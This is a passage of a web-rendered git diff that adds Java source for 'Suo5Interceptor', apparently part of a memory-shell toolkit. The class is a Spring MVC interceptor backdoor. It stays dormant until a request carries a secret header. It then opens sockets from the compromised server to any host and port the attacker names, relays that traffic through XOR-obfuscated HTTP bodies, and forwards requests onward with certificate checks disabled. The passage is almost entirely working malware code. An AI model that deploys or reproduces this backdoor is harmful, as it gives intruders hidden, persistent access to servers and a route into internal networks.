} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = request.getHeaderNames();
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, request.getHeader(k));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
+582
@@ -0,0 +1,582 @@
|
||||
package com.reajason.javaweb.memshell.springwebmvc.suo5;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import java.nio.ByteBuffer;
|
||||
import java.security.cert.CertificateException;
|
||||
import java.security.cert.X509Certificate;
|
||||
import java.util.Enumeration;
|
||||
import java.util.HashMap;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class Suo5Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
public static HashMap addrs = collectAddr();
|
||||
public static HashMap ctx = new HashMap();
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
public Suo5Interceptor() {
|
||||
}
|
||||
|
||||
public Suo5Interceptor(InputStream gInStream, OutputStream gOutStream) {
|
||||
this.gInStream = gInStream;
|
||||
this.gOutStream = gOutStream;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
return true;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
|
||||
}
|
||||
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
int readLength = b.length - bufferOffset;
|
||||
int readResult = is.read(b, bufferOffset, readLength);
|
||||
if (readResult == -1) break;
|
||||
bufferOffset += readResult;
|
||||
}
|
||||
}
|
||||
|
||||
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
|
||||
InputStream in = request.getInputStream();
|
||||
byte[] data = new byte[32];
|
||||
readFull(in, data);
|
||||
OutputStream out = response.getOutputStream();
|
||||
out.write(data);
|
||||
out.flush();
|
||||
}
|
||||
|
||||
|
||||
private HashMap newCreate(byte s) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x04});
|
||||
m.put("s", new byte[]{s});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newData(byte[] data) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x01});
|
||||
m.put("dt", data);
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newDel() {
|
||||
HashMap m = new HashMap();
|
||||
m.put("ac", new byte[]{0x02});
|
||||
return m;
|
||||
}
|
||||
|
||||
private HashMap newStatus(byte b) {
|
||||
HashMap m = new HashMap();
|
||||
m.put("s", new byte[]{b});
|
||||
return m;
|
||||
}
|
||||
|
||||
byte[] u32toBytes(int i) {
|
||||
byte[] result = new byte[4];
|
||||
result[0] = (byte) (i >> 24);
|
||||
result[1] = (byte) (i >> 16);
|
||||
result[2] = (byte) (i >> 8);
|
||||
result[3] = (byte) (i /*>> 0*/);
|
||||
return result;
|
||||
}
|
||||
|
||||
int bytesToU32(byte[] bytes) {
|
||||
return ((bytes[0] & 0xFF) << 24) |
|
||||
((bytes[1] & 0xFF) << 16) |
|
||||
((bytes[2] & 0xFF) << 8) |
|
||||
((bytes[3] & 0xFF) << 0);
|
||||
}
|
||||
|
||||
synchronized void put(String k, Object v) {
|
||||
ctx.put(k, v);
|
||||
}
|
||||
|
||||
synchronized Object get(String k) {
|
||||
return ctx.get(k);
|
||||
}
|
||||
|
||||
synchronized Object remove(String k) {
|
||||
return ctx.remove(k);
|
||||
}
|
||||
|
||||
byte[] copyOfRange(byte[] original, int from, int to) {
|
||||
int newLength = to - from;
|
||||
if (newLength < 0) {
|
||||
throw new IllegalArgumentException(from + " > " + to);
|
||||
}
|
||||
byte[] copy = new byte[newLength];
|
||||
int copyLength = Math.min(original.length - from, newLength);
|
||||
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
|
||||
// System.arraycopy(original, from, copy, 0, copyLength);
|
||||
for (int i = 0; i < copyLength; i++) {
|
||||
copy[i] = original[from + i];
|
||||
}
|
||||
return copy;
|
||||
}
|
||||
|
||||
|
||||
private byte[] marshal(HashMap m) throws IOException {
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
Object[] keys = m.keySet().toArray();
|
||||
for (int i = 0; i < keys.length; i++) {
|
||||
String key = (String) keys[i];
|
||||
byte[] value = (byte[]) m.get(key);
|
||||
buf.write((byte) key.length());
|
||||
buf.write(key.getBytes());
|
||||
buf.write(u32toBytes(value.length));
|
||||
buf.write(value);
|
||||
}
|
||||
|
||||
byte[] data = buf.toByteArray();
|
||||
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
|
||||
dbuf.putInt(data.length);
|
||||
// xor key
|
||||
byte key = (byte) ((Math.random() * 255) + 1);
|
||||
dbuf.put(key);
|
||||
for (int i = 0; i < data.length; i++) {
|
||||
data[i] = (byte) (data[i] ^ key);
|
||||
}
|
||||
dbuf.put(data);
|
||||
return dbuf.array();
|
||||
}
|
||||
|
||||
private HashMap unmarshal(InputStream in) throws Exception {
|
||||
byte[] header = new byte[4 + 1]; // size and datatype
|
||||
readFull(in, header);
|
||||
// read full
|
||||
ByteBuffer bb = ByteBuffer.wrap(header);
|
||||
int len = bb.getInt();
|
||||
int x = bb.get();
|
||||
if (len > 1024 * 1024 * 32) {
|
||||
throw new IOException("invalid len");
|
||||
}
|
||||
byte[] bs = new byte[len];
|
||||
readFull(in, bs);
|
||||
for (int i = 0; i < bs.length; i++) {
|
||||
bs[i] = (byte) (bs[i] ^ x);
|
||||
}
|
||||
HashMap m = new HashMap();
|
||||
byte[] buf;
|
||||
for (int i = 0; i < bs.length - 1; ) {
|
||||
short kLen = bs[i];
|
||||
i += 1;
|
||||
if (i + kLen >= bs.length) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
if (kLen < 0) {
|
||||
throw new Exception("key len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + kLen);
|
||||
String key = new String(buf);
|
||||
i += kLen;
|
||||
|
||||
if (i + 4 >= bs.length) {
|
||||
throw new Exception("value len error");
|
||||
}
|
||||
buf = copyOfRange(bs, i, i + 4);
|
||||
int vLen = bytesToU32(buf);
|
||||
i += 4;
|
||||
if (vLen < 0) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
|
||||
if (i + vLen > bs.length) {
|
||||
throw new Exception("value error");
|
||||
}
|
||||
byte[] value = copyOfRange(bs, i, i + vLen);
|
||||
i += vLen;
|
||||
|
||||
m.put(key, value);
|
||||
}
|
||||
return m;
|
||||
}
|
||||
|
||||
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
|
||||
final InputStream reqInputStream = request.getInputStream();
|
||||
HashMap dataMap = unmarshal(reqInputStream);
|
||||
|
||||
byte[] action = (byte[]) dataMap.get("ac");
|
||||
if (action.length != 1 || action[0] != 0x00) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
resp.setBufferSize(512);
|
||||
final OutputStream respOutStream = resp.getOutputStream();
|
||||
|
||||
// 0x00 create socket
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
Socket sc;
|
||||
try {
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
// Cannot convert Integer to int
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
} catch (Exception e) {
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
|
||||
final OutputStream scOutStream = sc.getOutputStream();
|
||||
final InputStream scInStream = sc.getInputStream();
|
||||
|
||||
Thread t = null;
|
||||
try {
|
||||
Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream);
|
||||
t = new Thread(p);
|
||||
t.start();
|
||||
readReq(reqInputStream, scOutStream);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("pipe error, %s\n", e);
|
||||
} finally {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
if (t != null) {
|
||||
t.join();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
|
||||
byte[] readBuf = new byte[1024 * 8];
|
||||
while (true) {
|
||||
int n = inputStream.read(readBuf);
|
||||
if (n <= 0) {
|
||||
break;
|
||||
}
|
||||
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
|
||||
if (needMarshal) {
|
||||
dataTmp = marshal(newData(dataTmp));
|
||||
}
|
||||
outputStream.write(dataTmp);
|
||||
outputStream.flush();
|
||||
}
|
||||
}
|
||||
|
||||
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
|
||||
while (true) {
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(bufInputStream);
|
||||
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
return;
|
||||
}
|
||||
byte action = actions[0];
|
||||
if (action == 0x02) {
|
||||
socketOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
socketOutStream.write(data);
|
||||
socketOutStream.flush();
|
||||
}
|
||||
} else if (action == 0x03) {
|
||||
continue;
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
|
||||
Exception {
|
||||
InputStream is = request.getInputStream();
|
||||
BufferedInputStream reader = new BufferedInputStream(is);
|
||||
HashMap dataMap;
|
||||
dataMap = unmarshal(reader);
|
||||
|
||||
|
||||
String clientId = new String((byte[]) dataMap.get("id"));
|
||||
byte[] actions = (byte[]) dataMap.get("ac");
|
||||
if (actions.length != 1) {
|
||||
resp.setStatus(403);
|
||||
return;
|
||||
}
|
||||
/*
|
||||
ActionCreate byte = 0x00
|
||||
ActionData byte = 0x01
|
||||
ActionDelete byte = 0x02
|
||||
ActionHeartbeat byte = 0x03
|
||||
*/
|
||||
byte action = actions[0];
|
||||
byte[] redirectData = (byte[]) dataMap.get("r");
|
||||
boolean needRedirect = redirectData != null && redirectData.length > 0;
|
||||
String redirectUrl = "";
|
||||
if (needRedirect) {
|
||||
dataMap.remove("r");
|
||||
redirectUrl = new String(redirectData);
|
||||
needRedirect = !isLocalAddr(redirectUrl);
|
||||
}
|
||||
// load balance, send request with data to request url
|
||||
// action 0x00 need to pipe, see below
|
||||
if (needRedirect && action >= 0x01 && action <= 0x03) {
|
||||
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
|
||||
conn.disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
resp.setBufferSize(512);
|
||||
OutputStream respOutStream = resp.getOutputStream();
|
||||
if (action == 0x02) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) return;
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
scOutStream.close();
|
||||
return;
|
||||
} else if (action == 0x01) {
|
||||
Object o = this.get(clientId);
|
||||
if (o == null) {
|
||||
respOutStream.write(marshal(newDel()));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
OutputStream scOutStream = (OutputStream) o;
|
||||
byte[] data = (byte[]) dataMap.get("dt");
|
||||
if (data.length != 0) {
|
||||
scOutStream.write(data);
|
||||
scOutStream.flush();
|
||||
}
|
||||
respOutStream.close();
|
||||
return;
|
||||
} else {
|
||||
}
|
||||
|
||||
if (action != 0x00) {
|
||||
return;
|
||||
}
|
||||
// 0x00 create new tunnel
|
||||
resp.setHeader("X-Accel-Buffering", "no");
|
||||
String host = new String((byte[]) dataMap.get("h"));
|
||||
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
|
||||
if (port == 0) {
|
||||
try {
|
||||
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
} catch (Exception e) {
|
||||
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
|
||||
}
|
||||
}
|
||||
|
||||
InputStream readFrom;
|
||||
Socket sc = null;
|
||||
HttpURLConnection conn = null;
|
||||
|
||||
if (needRedirect) {
|
||||
// pipe redirect stream and current response body
|
||||
conn = redirect(request, dataMap, redirectUrl);
|
||||
readFrom = conn.getInputStream();
|
||||
} else {
|
||||
// pipe socket stream and current response body
|
||||
try {
|
||||
sc = new Socket();
|
||||
sc.connect(new InetSocketAddress(host, port), 5000);
|
||||
readFrom = sc.getInputStream();
|
||||
this.put(clientId, sc.getOutputStream());
|
||||
respOutStream.write(marshal(newStatus((byte) 0x00)));
|
||||
respOutStream.flush();
|
||||
resp.flushBuffer();
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("connect error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
this.remove(clientId);
|
||||
respOutStream.write(marshal(newStatus((byte) 0x01)));
|
||||
respOutStream.flush();
|
||||
respOutStream.close();
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
readSocket(readFrom, respOutStream, !needRedirect);
|
||||
} catch (Exception e) {
|
||||
// System.out.println("socket error " + e.toString());
|
||||
// e.printStackTrace();
|
||||
} finally {
|
||||
if (sc != null) {
|
||||
sc.close();
|
||||
}
|
||||
if (conn != null) {
|
||||
conn.disconnect();
|
||||
}
|
||||
respOutStream.close();
|
||||
this.remove(clientId);
|
||||
}
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
readSocket(gInStream, gOutStream, true);
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
static HashMap collectAddr() {
|
||||
HashMap addrs = new HashMap();
|
||||
try {
|
||||
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
|
||||
while (nifs.hasMoreElements()) {
|
||||
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
|
||||
Enumeration addresses = nif.getInetAddresses();
|
||||
while (addresses.hasMoreElements()) {
|
||||
InetAddress addr = (InetAddress) addresses.nextElement();
|
||||
String s = addr.getHostAddress();
|
||||
if (s != null) {
|
||||
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
|
||||
int ifaceIndex = s.indexOf('%');
|
||||
if (ifaceIndex != -1) {
|
||||
s = s.substring(0, ifaceIndex);
|
||||
}
|
||||
addrs.put((Object) s, (Object) Boolean.TRUE);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
// System.out.printf("read socket error, %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
return addrs;
|
||||
}
|
||||
|
||||
boolean isLocalAddr(String url) throws Exception {
|
||||
String ip = (new URL(url)).getHost();
|
||||
return addrs.containsKey(ip);
|
||||
}
|
||||
|
||||
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
|
||||
String method = request.getMethod();
|
||||
URL u = new URL(rUrl);
|
||||
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
|
||||
conn.setRequestMethod(method);
|
||||
try {
|
||||
// conn.setConnectTimeout(3000);
|
||||
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
|
||||
// conn.setReadTimeout(0);
|
||||
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
|
||||
} catch (Exception e) {
|
||||
// java1.4
|
||||
}
|
||||
conn.setDoOutput(true);
|
||||
conn.setDoInput(true);
|
||||
|
||||
// ignore ssl verify
|
||||
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
|
||||
if (HttpsURLConnection.class.isInstance(conn)) {
|
||||
((HttpsURLConnection) conn).setHostnameVerifier(this);
|
||||
SSLContext sslCtx = SSLContext.getInstance("SSL");
|
||||
sslCtx.init(null, new TrustManager[]{this}, null);
|
||||
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
|
||||
}
|
||||
|
||||
byte[] newBody = marshal(dataMap);
|
||||
Enumeration headers = request.getHeaderNames();
|
||||
while (headers.hasMoreElements()) {
|
||||
String k = (String) headers.nextElement();
|
||||
if (k.equals("Content-Length")) {
|
||||
conn.setRequestProperty(k, String.valueOf(newBody.length));
|
||||
continue;
|
||||
} else if (k.equals("Host")) {
|
||||
conn.setRequestProperty(k, u.getHost());
|
||||
continue;
|
||||
} else if (k.equals("Connection")) {
|
||||
conn.setRequestProperty(k, "close");
|
||||
continue;
|
||||
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
|
||||
continue;
|
||||
} else {
|
||||
conn.setRequestProperty(k, request.getHeader(k));
|
||||
}
|
||||
}
|
||||
|
||||
OutputStream rout = conn.getOutputStream();
|
||||
rout.write(newBody);
|
||||
rout.flush();
|
||||
rout.close();
|
||||
conn.getResponseCode();
|
||||
return conn;
|
||||
}
|
||||
|
||||
public boolean verify(String hostname, SSLSession session) {
|
||||
return true;
|
||||
}
|
||||
|
||||
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
|
||||
}
|
||||
|
||||
public X509Certificate[] getAcceptedIssuers() {
|
||||
return new X509Certificate[0];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user